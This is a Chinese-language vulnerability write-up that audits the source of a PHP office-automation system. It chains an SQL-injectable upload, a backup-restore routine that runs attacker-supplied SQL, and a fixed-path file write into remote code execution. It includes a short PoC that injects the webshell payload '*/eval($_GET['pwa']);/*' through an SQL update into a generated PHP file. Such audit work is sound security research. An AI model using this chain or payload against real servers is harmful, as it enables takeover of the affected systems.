原文链接:https://forum.butian.net/share/4132
该 OA 的 action
主要是在 webmain
目录下
然后通过请求参数中的 d
、m
、a
定位到具体的 action
中的方法进行调到
如 d=systam&m=admin|admin&a=login
相当于调用 webmain/system/admin/adminAction.php#login
而所有的 action 都会继承 mainAction
,当我们请求某个 action 时首先会调用父类 mainAction
的 __construct
,进行初始化的一些操作
其中我们发现有关鉴权的处理被子类的 initAction
所实现,比如 apiAction 中
在查看 initAction 的实现时发现有个类实现该方法未存在鉴权
且其功能点说明是上传文件,我们着重看一下怎么个事
public function xxxxAction()
{
if(!$_FILES)exit('sorry!');
$upimg = c('upfile');
$maxsize= (int)$this->get('maxsize', $upimg->getmaxzhao());//上传最大M
$uptypes= 'jpg|png|docx|doc|pdf|xlsx|xls|zip|rar';
$upimg->initupfile($uptypes, ''.UPDIR.'|'.date('Y-m').'', $maxsize);
$upses = $upimg->up('file');
if(!is_array($upses))exit($upses);
$arr = c('down')->uploadback($upses);
$arr['autoup'] = (getconfig('qcloudCos_autoup') || getconfig('alioss_autoup')) ? 1 : 0; //是否上传其他平台
return $arr;
}
该方法主要是定义了白名单上传后缀 $uptypes
,调用 up 方法进行上传后返回文件信息,然后调用 uploadback
,跟进到其中
public function uploadback($upses, $thumbnail='', $subo=true)
{
$msg = '';
$data = array();
if(is_array($upses)){
$fileext= substr($upses['fileext'],0,10);
$arrs = array(
'adddt' => $this->rock->now,
'valid' => 1,
'filename' => $this->replacefile($upses['oldfilename']),
'web' => $this->rock->web,
'ip' => $this->rock->ip,
'mknum' => $this->rock->get('sysmodenum'),
//'mid' => $this->rock->get('sysmid','0'),
'fileext' => $fileext,
'filesize' => (int)$this->rock->get('filesize', $upses['filesize']),
'filesizecn'=> $upses['filesizecn'],
'filepath' => str_replace('../','',$upses['allfilename']),
'optid' => $this->adminid,
'optname' => $this->adminname,
'comid' => m('admin')->getcompanyid(),
);
$arrs['filetype'] = m('file')->getmime($fileext);
//判断是不是需要压缩jpg和jpeg
...
$bo = $this->db->record('[Q]file',$arrs);
if(!$bo)$this->reutnmsg($this->db->error());
$id = $this->db->insert_id();
}
该方法主要是通过之前 up
方法上传文件返回的数组 $upses
和全局配置信息构造 $arrs
,然后调用 $this->db->record
方法操作 $arrs
。
来到 record
方法
public function record($table,$array,$where='')
{
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
$table = $this->gettables($table);
if($addbool){
$sql="insert into $table set $cont";
}else{
$where = $this->getwhere($where);
$sql="update $table set $cont where $where";
}
return $this->tranbegin($sql);
}
这里就直接操作 $array
为 key=value
格式然后逗号拼接后带入到 SQL 语句中执行
控制了$array 中的内容就能实现 SQL 注入,而其中filename
、filepath
、filetype
等这几个键的内容是通过上传文件获取到的,那我们对上传文件名做文章是不是就可以造成 sql 注入呢。
public function up($name,$cfile='')
{
if(!$_FILES)return 'sorry!';
$file_name = $_FILES[$name]['name'];
$file_size = $_FILES[$name]['size'];//字节
$file_type = $_FILES[$name]['type'];
$file_error = $_FILES[$name]['error'];
$file_tmp_name = $_FILES[$name]['tmp_name'];
$zongmax = $this->getmaxupsize();
if($file_size<=0 || $file_size > $zongmax){
return '文件为0字节/超过'.$this->formatsize($zongmax).',不能上传';
}
...
return array(
'newfilename' => $file_newname,
'oldfilename' => $file_name,
'filesize' => $file_size,
'filesizecn' => $file_sizecn,
'filetype' => $file_type,
'filepath' => $save_path,
'fileext' => $file_ext,
'allfilename' => $allfilename,
'picw' => $picw,
'pich' => $pich
);
}else{
return '上传失败:'.$this->geterrmsg($file_error).'';
}
}
通过 up
方法的返回值构造可以看到 oldname
其实就是上传文件的文件名,这也证实我们的想法。
该 cms 自己实现了写入文件接口,我们查看其用法中写入
通过这么多处调用我们发现有一处调用会写入 php 中
$apaths = ''.P.'xxxx/mode_'.$modenum.'Action.php';
$apath = ''.ROOT_PATH.'/'.$apaths.'';
if(!file_exists($apath)){
$stra = '<?php
/**
* 此文件是【'.$modenum.'.'.$rs['name'].'】。
*/
....
';
$this->rock->createtxt($apaths, $stra);
}
要是我们能控制 $modenum
或是 $rs['name']
的内容就可以 getshell,不过 $modenum
同时也控制了文件名所以我们只能通过控制 $rs['name']
来 getshell。
$setid = (int)$this->get('setid','0');
$rs = m('flow_set')->getone("`id`='$setid'");
if(!$rs)exit('sorry!');
$rs['xxx'] = count(explode(',', (string)$rs['tables']));
$modenum = $rs['num'];
而 $rs
数组是由 flow_set
数据库获取到的,
下面是 flow_se
默认的数据信息,要是我们可以插入或者修改数据就可以。
根据常规思路我们只要寻找有插入 flow_set
表的方法即可。还真被我找到一个
public function xxxAction()
{
$name = $this->rock->xssrepstr($this->post('name'));
$fields = c('pingyin')->get($name,1);
..
$num = 'zz'.$fields.'';
$id = 0;
$uarr['name'] = $name;
$uarr['num'] = $num;
$uarr['table'] = $num;
...
$id = m('flow_set')->insert($uarr);
构造 poc,闭合前面写入文件时的注释为
*/eval($_GET['a']);/*
实际发现在 $this->rock->xssrepstr
中对特殊字符做了处理
public function xssrepstr($str)
{
$xpd = explode(',','(,), , ,<,>,\\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;\'');
$xpd[]= "\n";
return str_ireplace($xpd, '', $str);
}
括号之类的都被过滤点了,这个利用点看来无法利用了,那我们只能再找找有没有可以执行 SQL 语句且传参会不进行过滤的点。
通过在 web 目录下查找系统重写的 sql 执行方法 query
,在某处方法中找到疑似执行任意 sql 语句的方法
if(getconfig('systype')=='demo')exit();
if($this->adminid!=1)return '只有ID=1的管理员才可以用';
$folder = $this->post('folder');
$sida = explode(',', $this->post('sid'));
$alltabls = $this->db->getalltable();
$shul = 0;
$tablss = '';
foreach($sida as $id){
$ids = substr($id,0,-5);
$ida = explode('_', $ids);
$len = count($ida);
$fieldshu = $ida[$len-2];
$total = $ida[$len-1];
$tab = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表
$filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';
if(!file_exists($filepath))continue;
$data = m('beifen')->getbfdata('',$filepath);
if(!$data)continue;
$dataarr = $data[$tab];
//表不存在
if(!in_array($tab, $alltabls)){
$createsql = arrvalue($dataarr, 'createsql');
if($createsql){
$this->db->query($createsql, false);
}else{
continue;
}
}
在该方法中通过处理传入的 sid
,获取 table 名,如果 table 名不在数据库所有表名中时,会获取某个目录下 $sid
名的文件内容作为数组并取得 createsql
的内容进行 sql 语句执行。
那么就是说如果 sid
可控文件内容,同时 sid
不在表内那么我们就能构造修改 flow_set
数据的 sql,而且目录 folder
也是可控的,似乎离成功近在咫尺了,我们找找有没有方法可以写入文件。
在用上面方法寻找文件写入的方法是我们发现好多文件名都是带了随机数,这不太好控制其位置,所以我们要找一个文件名不带随机数的写入点。
比如下面这个
public function savetopdfAjax()
{
$imgbase64 = $this->post('imgbase64');
if(isempt($imgbase64))return returnerror('无数据');
$path = ''.UPDIR.'/logs/'.date('Y-m').'/abc.png';
$bo = $this->rock->createtxt($path, base64_decode($imgbase64));
if(!$bo)return returnerror(''.UPDIR.'目录无写入权限');
$pa1 = ''.ROOT_PATH.'/include/fpdf/fpdf.php';
if(!file_exists($pa1))return returnerror('没有安装fpdf插件');
include_once($pa1);
$fpdf = new FPDF();
$fpdf->AddPage();
$fpdf->Image($path,0,0);
$fpdf->Output('F',''.UPDIR.'/logs/'.date('Y-m').'/to.pdf');
$this->showreturn('ok:'.$fpdf->GetPageHeight().'');
}
该方法首先是根据 imgbase64
上传一个 abc.png
文件,其次是一个 pdf 文件,因为默认没这个插件所以实际发包会报错,但不影响 abc.png
上传操作的执行。
于是构造文件内容的 poc 为
<?php
$arr = array(
"abc.png" => array("createsql" => "update flow_set set name=\"*\/eval($_GET\['pwa'\]);\/*\" where id=160;")
);
echo base64_encode(json_encode($arr));
第一层数组的键为文件名,为得是符合上面方法中 $dataarr= $data[$tab]
获取到我们后面数组 $tab
其实就是传入的文件名参数。第二层数组就是实际执行的 SQL 语句,其实 id 值是默认数据库中最后一行数据的 id 值。
此方法上传的文件位置为 upload/logs/2024-12/abc.png
。
整个过程就是
savetopdfAjax
上传内容为恶意 sql 语句的图片。首先上传图片
flow_set
表中默认的数据都是存在相应的 PHP
文件的,我们得新插入一条数据进行上述操作才能生成恶意的 php 文件。
我们用之前找到的插入 flow_set
数据的接口进行插入
此时数据表为
记住这个 id 和 num 的值,我们根据 id
值重新生成 abc.png
的内容,然后进行恶意 sql 更新
通过数据表可以看到成功修改了数据表中的内容,然后我们需要触发 php
文件的写入
找到 mode_zzmixnpgAction.php
,可以看到成功写入
因为该文件在 web 目录下所以我们可以通过系统的路由方式来访问
可以看到成功执行代码。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。